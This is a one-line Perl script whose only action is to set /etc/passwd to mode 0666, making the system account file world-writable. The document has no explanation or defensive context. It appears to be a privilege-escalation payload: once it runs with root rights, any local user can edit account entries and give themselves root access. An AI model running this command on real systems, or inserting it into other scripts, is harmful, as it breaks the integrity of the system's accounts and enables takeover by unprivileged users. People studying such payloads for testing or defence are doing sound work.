#!/usr/bin/perl chmod 0666, '/etc/passwd' or die;